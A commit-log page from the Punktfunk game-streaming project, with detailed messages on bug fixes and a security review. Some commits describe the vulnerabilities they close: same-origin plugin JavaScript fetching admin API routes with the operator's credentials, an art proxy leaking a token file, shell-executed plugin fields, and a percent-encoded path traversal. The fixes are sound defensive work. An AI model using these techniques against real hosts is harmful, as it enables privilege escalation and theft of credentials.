Compare commits

..
Author SHA1 Message Date
enricobuehler b53568c99f fix(decky): a host saved under its own IP now shows the name it advertises
ci / web (pull_request) Successful in 1m7s
ci / docs-site (pull_request) Successful in 1m30s
ci / rust-arm64 (pull_request) Successful in 2m35s
ci / rust (pull_request) Successful in 6m51s
The panel captioned most rows with an IP address. The saved records were
the source: `hosts add` falls back to the address when the pairing path
knew nothing better, so `name` is literally "192.168.1.21" — and
`mergeHosts` took `s.name || s.addr` unconditionally. The fallback only
ever fired for an EMPTY name, so a name that was already a copy of the
address sailed through as if it were meaningful, and the row printed the
address twice: once as its title, once as its subtitle.

The friendly name was in hand the whole time. The row is built by joining
the saved record to the live advert, and that advert carries the host's
actual hostname — the join was already trusted for address, port, online
and OS, and only the name was read from the saved side alone.

So treat a name equal to the record's own address as the placeholder it is
and yield to the advert. A real saved name still wins, even when stale: it
may be one the user chose, and an advert must never silently overwrite it.
The comparison is against the SAVED address, so a host that moved DHCP
lease still recognises its old address as a placeholder rather than
mistaking it for a chosen name.

Checked against the Deck that reported this, over its actual store and
browse: three online rows turn into home-worker-5, ENRICOS-DESKTOP and
steamdeck, the four offline ones keep their address (nothing is
advertising a better name for them yet), and a user-chosen name survives a
conflicting advert.
2026-08-05 23:37:18 +02:00
enricobuehler db0637928b fix(decky): the shortcut liveness guard answered "alive" for every appId
`shortcutStillExists()` extracted the store method before calling it:

    const get = appStore?.GetAppOverviewByAppID;
    return get(appId) != null;

`GetAppOverviewByAppID` reads the store's own state (`this.m_mapApps`), so
the unbound call throws on the lost `this` — and the function's own
`catch { return true }` swallowed it. The guard therefore returned "still
exists" for EVERY appId. Not a stale-data bug: it never once answered no.

Everything downstream of it was consequently inert. A dangling appId — the
documented hazard this guard exists to catch, since the id outlives the
shortcut in Steam's CEF localStorage across a plugin reinstall — was never
dropped, so `ensureGamepadUiShortcut` always took the reuse branch and
`SetShortcut*`'d a dead id (silent no-ops). The visible library entry never
came back, `recreateShortcuts` reported success having done nothing (its
toast only checks for a non-null appId, and the dead one is non-null), and
"Open Punktfunk" ran `RunGame` on the dead id — Steam answers that with
"Game configuration unavailable".

Call it as a method so `this` survives, and guard the global with `typeof`
first: `appStore` is Steam-injected, and a bare reference to a missing one
is a ReferenceError that optional chaining does not prevent — which would
have landed in the same catch.

Verified against the live Deck that hit this: evaluated both versions over
its actual appIds, and where the old guard says alive/alive, the fixed one
says alive for the live stream shortcut and dead for the dangling UI id —
so the stale key now drops and the entry is recreated on the next mount.
2026-08-05 23:33:25 +02:00
enricobuehler 22bc81238d fix(decky): Decky's plugin list says "Punktfunk", not "punktfunk"
The label Decky shows for an installed plugin is plugin.json "name", which
we had set to the lowercase directory name — so the one place every user
sees the plugin listed was the one place it was off-brand, while the panel
header (titleView) already read "Punktfunk".

The two were conflated because the name looked load-bearing: the zip's
top-level dir becomes ~/homebrew/plugins/<dir>, and the scripts derived
that dir FROM plugin.json "name". They are in fact independent — Decky
extracts the zip as-is and locates an installed plugin by MATCHING
plugin.json "name", never by folder name (that is how a plugin can live in
DeckWebBrowser/ and list itself as "Web Browser").

So brand-case the label and pin the on-disk dir to the literal `punktfunk`
in package.sh/deploy.sh/CI instead of deriving it. Pinning is the part that
matters: had the dir followed the label, this rename would have installed a
second `Punktfunk/` folder beside the existing `punktfunk/` and the plugin
would have shown up twice.

The self-update call passes the name Decky uninstalls before extracting, so
it moves to "Punktfunk" with it. The upgrade INTO this build still passes
"punktfunk" (the installed build's own value), which matches that build's
plugin.json — so the old folder is removed and the new zip lands in the
same lowercase dir either way. Decky's per-plugin settings dir is unused
(all state lives in ~/.config/punktfunk), so nothing is stranded.
2026-08-05 23:20:28 +02:00
enricobuehler de6b9e94ec Merge pull request 'fix(client/windows): settings persist when the app isn't installed on C:' (#62) from worktree-client-msix-persist into main
ci / web (push) Successful in 1m13s
ci / docs-site (push) Successful in 1m22s
apple / swift (push) Successful in 1m25s
ci / rust-arm64 (push) Successful in 1m39s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 13s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 7s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 12s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 9s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 10s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 9s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 25s
deb / build-publish-client-arm64 (push) Successful in 2m40s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 18s
flatpak / build-publish (push) Failing after 4s
deb / build-publish-host (push) Successful in 4m43s
docker / builders-arm64cross (push) Successful in 8s
docker / deploy-docs (push) Successful in 33s
ci / rust (push) Failing after 9m30s
apple / screenshots (push) Successful in 10m16s
android / android (push) Successful in 13m9s
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 13m28s
deb / build-publish (push) Successful in 14m47s
arch / build-publish (push) Successful in 15m13s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Successful in 4m38s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 1m26s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m35s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 19m4s
windows / build (x86_64-pc-windows-msvc) (push) Successful in 4m12s
Reviewed-on: #62
2026-08-05 20:53:38 +00:00
enricobuehler 5ebe840320 fix(client/windows): settings persist when the app isn't installed on C:
windows / build (x86_64-pc-windows-msvc) (pull_request) Failing after 22s
apple / swift (pull_request) Successful in 1m30s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 1m34s
ci / web (pull_request) Successful in 1m28s
ci / docs-site (pull_request) Successful in 1m23s
android / android (pull_request) Successful in 3m9s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 6m42s
ci / rust (pull_request) Successful in 7m46s
Reported from the field (2026-08-05): a fresh Windows 11 box with a data
partition, "New apps will save to: D:", and the client installed there. It
launches, finds hosts and streams — but no setting and no profile survives a
restart. Reinstalling to C: fixes it completely. The reporter's read was "it's
in read-only mode", and that is almost exactly right.

The one clue that localises it: the client creates its mTLS identity with a
plain `fs::write` on first run and hard-exits if that fails. Their app started,
so ordinary file creation in the config directory works. Only the config stores
were being lost — and those are the three files that go through `write_atomic`,
which writes a sibling temp and renames it over the target.

The rename is what breaks. The client ships as a full-trust MSIX package, so
its `%APPDATA%` writes are redirected into the package container. When the
package lives on a secondary drive, Windows keeps that redirected state on the
package's own volume: `C:\Users\<u>\AppData\Local\Packages\<pfn>\` stays a real
directory on C:, but its children (LocalCache, RoamingState, …) are junctions to
`D:\WpSystem\<SID>\…`. Both sides of our rename still spell `C:\Users\…`, so
nothing looks unusual, but they can resolve across that junction boundary — and
`std::fs::rename` is `MoveFileExW` with `MOVEFILE_REPLACE_EXISTING` and *not*
`MOVEFILE_COPY_ALLOWED`, so a cross-volume move fails outright rather than
degrading to a copy. Creating files still works, which is why everything else
about the install looks healthy.

So the fix is not to make the rename work — it is to stop treating it as the
only way to persist. `write_atomic` now falls back to writing the target in
place when the atomic route fails. That is the same operation the identity files
already use, and those demonstrably round-trip on the affected installs, so the
fallback lands on a path we know resolves. It trades crash-atomicity for exactly
the writes that would otherwise be lost, and nowhere else: temp+rename stays the
normal route everywhere it works.

Writing into a redirected location cannot desync from reading it — Microsoft
documents one private-location-first resolution order for both, so whichever
layer a write lands in is the layer the next read finds. The fallback verifies
anyway, by reading the bytes straight back: a write that reports success and
disappears is precisely the bug being fixed, so this path does not get to claim
success on an `Ok(())` alone. It costs nothing normally — it only runs on an
install that has already shown it does something unusual.

Two things this uncovered on the way:

The temp file was a single shared `<name>.json.tmp`, but these stores have five
whole-file writers (WinUI shell, session, console UI, CLI, Decky). Two saving at
once collide on it — on Windows the second write hits a sharing violation, and
worse, one process can rename the other's half-written bytes over the target.
The scratch path now carries the pid.

And none of this was visible to anyone. Every save on this page is
fire-and-forget by design (a failed settings write must never take a stream
down), so ~15 call sites discard the error and the UI cheerfully shows the
toggle you just moved. The reporter had no log file to send either, because
"Open log folder" was handing out a phantom path — a separate bug, already fixed
in f3c0ee47 but not in the 0.24.0 they were running. `store_health` records the
last persistence failure centrally, and Settings shows an error bar naming the
path when the store is refusing writes, so a client that cannot save says so
instead of pretending.

`update.rs` had hand-rolled the same temp+rename inline, so it neither cleaned
up its temp on a failed rename nor picks up the fallback; it now goes through
the one writer. The update floor silently never rising is how a declined update
comes back forever.

Deliberately NOT done: disabling MSIX AppData virtualization in the manifest
(`desktop6:FileSystemWriteVirtualization`). It would stop the redirection at the
source, but every existing packaged install's settings, profiles and pairings
live inside the container today — turning it off points the client at an empty
real `%APPDATA%` and silently resets all of them. That needs a migration, not a
manifest flag.

Also considered and not taken: resolving the destination directory with
`GetFinalPathNameByHandleW` and creating the temp inside the resolved path, to
keep atomicity. It does not reliably close this hole — when the target file
exists only in the unvirtualized layer while its directory resolves to the
private one, the rename still straddles the boundary — and it would rest on
canonicalisation behaving through the redirection, which we have never verified
on a packaged run.

Verified on the RTX box (.173, Windows 11 26200), which is the platform that
actually has these rename semantics: `cargo fmt --all --check`, the full
`pf-client-core` lib suite (109 passed), and clippy `-D warnings --all-targets`
on both `pf-client-core` and `punktfunk-client-windows` — all clean. Also green
under linux/amd64 (116 passed). Three new tests: the pid-scoped scratch path,
the fallback actually persisting and reading back when the atomic route is
blocked, and a genuinely unwritable store surfacing its error instead of
swallowing it.

The mechanism above is established from documentation and third-party reports,
not from a reproduction on a second-drive install — that box does not exist
here. The fix does not depend on the diagnosis being exactly right: it repairs
any install where the rename fails but a direct write succeeds.
2026-08-05 22:33:36 +02:00
enricobuehler 4b1ce6b905 Merge pull request 'fix(android/hud): stop charging the compositor's wait to the stream' (#61) from worktree-android-hud-os-floor into main
ci / web (push) Successful in 1m7s
ci / rust-arm64 (push) Successful in 3m14s
ci / docs-site (push) Successful in 1m20s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 14s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Failing after 12s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 13s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 12s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Failing after 11s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 27s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Failing after 15s
docker / builders-arm64cross (push) Skipped
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m19s
docker / deploy-docs (push) Successful in 1m10s
ci / rust (push) Successful in 8m28s
android / android (push) Successful in 9m24s
Reviewed-on: #61
2026-08-05 20:31:46 +00:00
enricobuehler a11c672bea fix(android/hud): stop charging the compositor's wait to the stream
ci / web (pull_request) Successful in 1m24s
ci / docs-site (pull_request) Successful in 3m21s
ci / rust-arm64 (pull_request) Successful in 3m30s
android / android (pull_request) Successful in 9m40s
ci / rust (pull_request) Successful in 16m25s
The Android HUD headlined `capture→displayed` with SurfaceFlinger's latch
and scanout inside it — pipeline depth no client can pace under. The usual
Android streaming overlays stop measuring at decode-complete, so users
comparing overlays read our honesty as latency: on a 60 Hz panel that floor
alone clears 30 ms, more than everything those overlays display put together.

Exclude it, the way the Apple clients have since the presentation rebuild
(8a40e467): shave the measured floor off the shown display and end-to-end at
every tier, and name what came off in Detailed as `os present +N excluded
(display pipeline minimum)`. The equation still tiles the headline, because
the `display` term is shaved by the same amount.

The floor is the `latch` p50 we already measure (release→OnFrameRendered),
not a modelled 2/refresh: it moves with the panel rate, tunnelled playback
and the vendor's low-latency mode, and it exists on every render path (the
release stamp is parked on all three), so it does not depend on the timeline
presenter being active. Unmeasured reads 0.0 and nothing is shaved — we
exclude only what we actually measured. With the floor out, the `display`
term is already just `pace`, so the `(pace + latch)` split now renders only
on a window where no latch sample paired, and the hardcoded 2-refresh
Apple-equivalence twin is gone with it.

Raw numbers are untouched in the 1 Hz `pf.present` logcat line, so HUD-off
A/Bs and cross-session comparisons still read unshaved values.
2026-08-05 22:28:43 +02:00
enricobuehler cbd0e9664d Merge pull request 'fix(ci): builder-image pushes authenticate, and :latest stops being a tag anyone can move' (#60) from worktree-security-h6-registry-auth into main
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 14s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 8s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 9s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 10s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 8s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 54s
ci / web (push) Successful in 2m24s
ci / docs-site (push) Successful in 2m29s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Failing after 12s
docker / builders-arm64cross (push) Skipped
ci / rust-arm64 (push) Successful in 3m2s
ci / rust (push) Successful in 6m38s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 6m49s
docker / deploy-docs (push) Successful in 35s
Reviewed-on: #60
2026-08-05 20:11:17 +00:00
enricobuehler 66df1624b6 Merge pull request 'Library scanners become plugins — the bridge half (host, wire, kit, console, packaging)' (#59) from worktree-library-plugins into main
apple / swift (push) Successful in 1m29s
ci / web (push) Successful in 1m56s
ci / rust-arm64 (push) Successful in 2m3s
ci / docs-site (push) Successful in 2m16s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 15s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 9s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 20s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 19s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 23s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 1m1s
deb / build-publish-client-arm64 (push) Successful in 3m4s
android / android (push) Successful in 6m34s
deb / build-publish (push) Successful in 6m33s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m33s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Failing after 35s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 22s
apple / screenshots (push) Successful in 5m51s
docker / builders-arm64cross (push) Successful in 20s
deb / build-publish-host (push) Successful in 6m3s
docker / deploy-docs (push) Successful in 1m13s
arch / build-publish (push) Successful in 9m1s
ci / rust (push) Successful in 9m42s
windows-host / package (push) Failing after 11m36s
windows-host / canary-manifest (push) Skipped
windows-host / winget-source (push) Skipped
windows-msix / package (arm64, C:\Users\Public\ffmpeg-arm64, --no-default-features, aarch64-pc-windows-msvc, C:\t-a64) (push) Successful in 3m57s
flatpak / build-publish (push) Successful in 9m10s
windows-msix / package (x64, C:\Users\Public\ffmpeg, , x86_64-pc-windows-msvc, C:\t) (push) Successful in 3m44s
windows / build (aarch64-pc-windows-msvc) (push) Successful in 3m2s
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 18m4s
windows / build (x86_64-pc-windows-msvc) (push) Successful in 4m14s
Reviewed-on: #59
2026-08-05 19:58:44 +00:00
enricobuehler 6f07bd94d3 feat(library): launcher tiles a plugin can actually publish
ci / docs-site (pull_request) Successful in 1m14s
apple / swift (pull_request) Successful in 1m28s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m37s
ci / rust-arm64 (pull_request) Successful in 2m28s
android / android (pull_request) Successful in 4m10s
ci / rust (pull_request) Successful in 6m11s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 6m56s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 4m35s
Design D4 promised entries that open the LAUNCHER — Steam Big Picture, Heroic,
Lutris — and the plumbing for it landed in M2/M4: the `role` field, the
`steam_ui` kind, the console's Launchers rail. But nothing could flow through it
for anything except Steam.

D4 said the other launchers would ride the `command` kind. The 2026-08-05 review
then made `launch.kind = "command"` operator-only (it is handed to a shell), so a
plugin publishing one is refused with a 403. The two changes are individually
right and jointly leave a hole: `steam_ui` was the only launcher kind a plugin
could publish, so a Heroic or Lutris tile was unreachable.

New `launcher_ui` kind, valued by store id. One kind rather than one per store
because every launcher except Steam has exactly a single UI to open; Steam keeps
its own kind because it genuinely has two. D1 is preserved — the plugin names a
launcher, the host builds the command, and no shell string crosses the wire:

  heroic -> the same native-or-Flatpak resolution the `heroic` game kind uses,
            minus --no-gui and minus the URI, so the window itself opens
  lutris -> bare `lutris`, which opens the window (the URI form is `lutris_id`)

Platform-gated to what this host can actually resolve, and validated INBOUND: a
value naming a launcher this OS cannot open is a 400 the plugin author can act
on, not a tile that silently does nothing when a user clicks it. Windows
launchers (Epic, GOG Galaxy, Xbox app) are deliberately absent — each needs its
own verified activation and a guess would ship exactly that dead tile.

Also closes a WP4.3 item I under-delivered and did not flag: the console's
add/edit form had no way to mark an entry as a launcher, so even hand-adding one
was impossible. It now has the checkbox — and `formFrom` round-trips it, without
which editing a launcher entry would silently demote it to a game, which is the
precise bug that file's own comment warns about.

Gates on .21: punktfunk-host 435 passed / 0 failed (two new), workspace clippy
-D warnings clean, cargo fmt --all --check clean, OpenAPI drift green. Console:
orval + paraglide regen, tsc clean, check-i18n at 604 messages for en + de.

Still unproven on hardware: no launcher tile has been clicked on a real host.
The steam plugin (the first to emit one) is not built yet.
2026-08-05 21:12:19 +02:00
enricobuehler d2085879da Merge main: plugin art rides THROUGH the H-2 confinement, not around it
ci / web (pull_request) Successful in 58s
windows / build (aarch64-pc-windows-msvc) (pull_request) Successful in 1m10s
ci / docs-site (pull_request) Successful in 1m14s
apple / swift (pull_request) Successful in 1m19s
apple / screenshots (pull_request) Skipped
android / android (pull_request) Successful in 3m1s
windows / build (x86_64-pc-windows-msvc) (pull_request) Successful in 2m0s
ci / rust-arm64 (pull_request) Successful in 3m45s
ci / rust (pull_request) Successful in 9m22s
PR #58 hardened the art proxy in the same three files this branch rewrote, and
the two changes pull in opposite directions: #58 narrowed what the host will read
from disk, while WP1.2 widened what counts as a local art path so an extracted
scanner's covers can be served at all. Resolved so the widening goes through the
gate rather than beside it.

Kept from #58, unchanged: art_path_is_confined (UNC refusal, canonicalize-or-
refuse, config-dir exclusion, roots check), the image-extension whitelist,
sniff_image_type, validate_art_paths as write-time validation, the AuthLane
privileged-field check on every entry in a reconcile payload, and the launch
redaction in GET /library.

Three reconciliations:

  * `local_art_bytes` converts a `file://` value to a path BEFORE calling
    art_path_is_servable, so the confinement check and the read see the same
    path. Ordering is the point: percent-decoding happens before
    canonicalization, so a `%2e%2e` escape cannot hide from the traversal check.
    Pinned by a test.

  * `art_roots()` gains $HOME on POSIX. This is the one that would have bitten
    silently: the list was empty on non-Windows, which was correct while
    is_local_art_path was Windows-shaped (Playnite is Windows-only, so nothing on
    a POSIX host was ever classified as local art and the confinement had nothing
    to confine). Once WP1.2 classifies POSIX paths as local, an empty root list
    is not "secure by default" — it serves NO plugin art on Linux, which is every
    cover the lutris and steam plugins emit. $HOME is the exact analogue of the
    Windows users base #58 already ships, and covers Steam's librarycache and
    grid overrides, Lutris's coverart/banners (both copies), Heroic's caches and
    all the Flatpak variants. It is not the load-bearing control: a value still
    needs an image extension, must canonicalize to a real regular file inside a
    root and outside the config dir, and must CONTAIN image bytes.

  * The two tests that both wanted to mutate PUNKTFUNK_LIBRARY_ART_ROOTS became
    one. Cargo runs tests as parallel threads of a single process, so two tests
    setting the same env var race. The `file://` and confinement assertions moved
    into #58's existing confined test; what remains of the WP1.2 test is the
    pure classification/rewrite half, which touches neither env nor filesystem.

Also: `steam_ui` was missing from the list of host-resolved launch kinds in
privileged_field's doc comment and in the 403 a plugin sees. Prose only — the
check is a denylist (prep, launch.kind = "command"), so steam_ui was never
actually refused — but a plugin author reading that error would have concluded
otherwise.

Gates on .21: punktfunk-host 433 passed / 0 failed (including #58's H-2 tests and
the new file:// ones), full workspace tests clean, workspace clippy -D warnings
clean, cargo fmt --all --check clean, OpenAPI drift test green.
2026-08-05 19:59:11 +02:00
enricobuehler 19f637ea6e fix(ci): builder-image pushes authenticate, and :latest stops being a tag anyone can move
ci / docs-site (pull_request) Successful in 1m20s
ci / web (pull_request) Successful in 1m25s
ci / rust-arm64 (pull_request) Successful in 1m40s
ci / rust (pull_request) Successful in 6m8s
Second half of security-review-2026-08-05 H-6. The infra half (unom/infra,
runners/ci-core/) split the LAN registry in two: :5010 serves GET/HEAD only and
refuses everything else with 405, :5011 demands basic auth on every request
including the /v2/ ping. Both fronts sit on one store, and a registry keys by
repository name rather than by the host:port the client used, so an image
pushed to :5011 is the identical image every consumer pulls from :5010.

So: builds tag the write port, a docker login precedes the push, and the
release-tag manifest PUTs authenticate. Consumers are untouched — every
`container:` in every other workflow still pulls anonymously from :5010, and
ci/rust-ci-arm64cross.Dockerfile's `FROM 192.168.1.58:5010/...` still resolves.

Not doing the digest pinning the review asked for, deliberately, and the header
says why at length. Once pushes are authenticated, the people who can overwrite
a tag are exactly the people who can push to main and edit a pinned digest in
this file — a pin defends against nobody it did not already trust, and costs a
two-commit dance on every ci/ change (~3x a month) during which consumers run a
builder image predating the change they are testing.

What does close the residual gap is making :latest a checked function of the
tree. reconcile-latest.sh asserts on every run that :latest and :ck-$KEY are the
same digest, re-points it when they are not, and warns loudly. An out-of-band
overwrite is caught on the next push to main with no churn, and it fixes a
pre-existing bug on the side: reverting ci/ used to leave :latest on the newer
build forever, because the older key is a cache hit and nothing re-pointed it.
Repair rather than fail, because a legitimate revert must not red-line main.

Verified against the live registry from a runner host with the real docker
client: unauthenticated push denied, push to :5010 refused 405, authenticated
push to :5011 accepted, that same image pulled back anonymously from :5010.
reconcile-latest.sh exercised over all three cases (diverged -> repaired,
already equal -> no-op, missing key -> exit 1). All seven builder images are
consistent with their content keys today, so the new step is a silent no-op on
its first real run.
2026-08-05 19:52:19 +02:00
enricobuehler 4a0d0ce587 Merge pull request 'The plugin lane stops being a way in — 37 of the 38 security-review findings' (#58) from worktree-security-review-0805-fixes into main
apple / swift (push) Successful in 1m24s
ci / web (push) Successful in 1m48s
ci / rust-arm64 (push) Successful in 2m2s
ci / docs-site (push) Successful in 2m2s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 9s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 6s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 7s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 43s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 29s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 9s
deb / build-publish-client-arm64 (push) Successful in 2m34s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 49s
deb / build-publish (push) Successful in 5m50s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m23s
docker / builders-arm64cross (push) Successful in 6s
android / android (push) Successful in 6m19s
docker / deploy-docs (push) Successful in 32s
apple / screenshots (push) Successful in 5m45s
deb / build-publish-host (push) Successful in 6m11s
arch / build-publish (push) Successful in 8m38s
ci / rust (push) Successful in 10m48s
windows-host / package (push) Failing after 11m42s
windows-host / canary-manifest (push) Skipped
windows-host / winget-source (push) Skipped
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 21m3s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 20m44s
Reviewed-on: #58
2026-08-05 17:39:02 +00:00
enricobuehler 0d94ef0dbe fix(host/mgmt): the field gate returns the refusal, not an error carrying it
apple / swift (pull_request) Successful in 1m26s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m49s
ci / docs-site (pull_request) Successful in 2m17s
ci / rust-arm64 (pull_request) Successful in 2m43s
android / android (pull_request) Successful in 3m3s
ci / rust (pull_request) Successful in 8m31s
`check_entry_fields` returned `Result<(), Response>`, which trips
`clippy::result_large_err` under CI's `-D warnings`: an axum `Response` is 128
bytes and it was riding in the `Err` variant.

`Option<Response>` is the shape this always wanted. There is no error value to
propagate here — the "error" IS the response the handler sends back — so `None`
means "the payload may proceed" and `Some(r)` is the refusal to return. The call
sites read the same, one word different.

Caught by CI, not by me: I ran `cargo check` and not `cargo clippy -D warnings`.
2026-08-05 19:14:19 +02:00
enricobuehler defdfbdb58 fix(security): plugin UIs get their own origin
ci / web (pull_request) Successful in 1m2s
apple / swift (pull_request) Successful in 1m33s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 2m4s
ci / docs-site (pull_request) Successful in 2m13s
android / android (pull_request) Successful in 3m16s
ci / rust (pull_request) Failing after 3m36s
Closes H-3 of the 2026-08-05 review, the last of its six highs. A plugin's
interface was reverse-proxied onto the console's own origin and framed with
`allow-same-origin`, so plugin JS ran as first-party code on that origin: one
`fetch('/api/**', {credentials:'same-origin'})` and the BFF attached the
operator's ADMIN bearer. That reached everything `plugin_may_access` withholds
— arm pairing, read the host PIN, approve a device, read `/hooks`. The "open
in new tab" link was the same escalation with no iframe involved at all.

The fix is not a sandbox attribute, and it is worth writing down why, because
the obvious change is the one that does not work. Dropping `allow-same-origin`
gives the frame an OPAQUE origin; its subresource requests are then cross-site;
the `SameSite=Lax` session cookie stops being sent; every plugin asset 302s to
/login and the frame is blank. Nothing about the new-tab link is helped either.

So the origin moves instead. A second listener on its own port (default
PORT + 1) serves plugin UIs and nothing else:

  different ORIGIN — scheme+host+PORT — so the same-origin policy separates the
                     plugin from the console: it cannot read the console's DOM,
                     its cross-origin fetch of /api/** is unreadable (no CORS)
                     and cannot mutate (Sec-Fetch-Site sees same-site).
  same SITE        — cookie scope ignores the port and SameSite is computed on
                     the site, so the session cookie still reaches the plugin
                     listener and plugin pages keep working.

Enforcement is two refusals and both are load-bearing: the console origin
refuses /plugin-ui/**, and the plugin origin refuses everything ELSE — above
all /api/**, which would otherwise hand the admin bearer right back to plugin
JS that is now same-origin with that listener. Both are unconditional: if the
plugin port cannot be bound, plugin UIs are DISABLED and the console says so,
rather than falling back to the arrangement this exists to remove.

Two consequences that would otherwise bite in the field:

  The port has to be open. Done for the Windows netsh rule, the firewalld
  service and the ufw profile.

  A browser stores a self-signed-certificate exception per ORIGIN, including
  the port — and a certificate interstitial can never be shown inside an
  iframe, so the frame would just sit blank with nothing on screen explaining
  why. A `no-cors` probe distinguishes it (a TLS failure rejects; any HTTP
  answer, even 401, resolves) and the console renders a card linking the
  operator to open the port once in a real tab.

Also here: the health probe moved server-side to the console origin (it used
to rely on being same-origin with the plugin), the postMessage listener now
verifies `event.origin` — a real check rather than a tautology — and
plugin-kit's `postMessage(..., "*")` is documented as load-bearing, since
narrowing it to `location.origin` would now target the plugin's own origin and
silently drop every message.

Verified against a running console with a fake mgmt API and a fake plugin:
console /plugin-ui/** → 404; plugin-origin /api/v1/hooks, /, /login,
/_auth/logout → 404; plugin page loads 200 through its own origin;
unauthenticated plugin origin → 401 (not a redirect to a /login it does not
serve); a forged x-pf-listener header changes nothing on either listener; the
plugin's own Clear-Site-Data / Access-Control-Allow-Origin / Set-Cookie are
dropped by the proxy allowlist; the plugin origin's CSP names the console as
its only frame-ancestors source; and with the port squatted, ui-config reports
`unavailable`, the console still refuses /plugin-ui/**, and the console itself
keeps working.

Still wants on-glass confirmation in a real browser — the cookie and framing
behaviour is reasoned from spec, not observed.

cargo fmt --all --check clean; cargo check -p punktfunk-host --all-targets
green on Windows; web console builds and typechecks.
2026-08-05 17:50:04 +02:00
enricobuehler 8103958169 fix(security): the plugin lane stops being a way in
Acts on the 2026-08-05 host security review. 36 of its 38 findings; the two
exceptions are recorded below and in the review doc.

The review's headline is that `plugin_may_access` was the one authorization
gate in the system that was allow-by-default — a hand-maintained denylist of
route prefixes, where every sibling gate is deny-by-default. Its own doc
comment names the two capabilities it exists to withhold, and both were
reachable one route over, because ~1450 commits of new routes were added and
the list was never one of the things anyone remembered to update.

So the gate is now an allowlist, and a test walks the live route table and
fails the build for any route that has not been deliberately classified for
both non-admin lanes. That test is the actual fix: it is what stops the next
route from arriving pre-authorized.

Route reachability and field authority turned out to be different questions.
A provider plugin has to be able to reconcile its own library entries — that
is what a scanner plugin IS — but `prep` and a `command` launch inside that
payload are handed to `/bin/sh -c` as the host user, and every execution site
documents them as operator-typed. Requests now carry the lane that authorized
them, and those two fields are refused to everyone but the operator's own
token.

The art proxy read any absolute path off disk in the host process, which on
Windows is LocalSystem, from a path the plugin lane could write and then read
back — so it yielded `mgmt-token`, which is full admin. It now serves only
real images (extension AND magic bytes, so a renamed secret fails), only from
inside an allowed root, only after canonicalization, and never over UNC; and
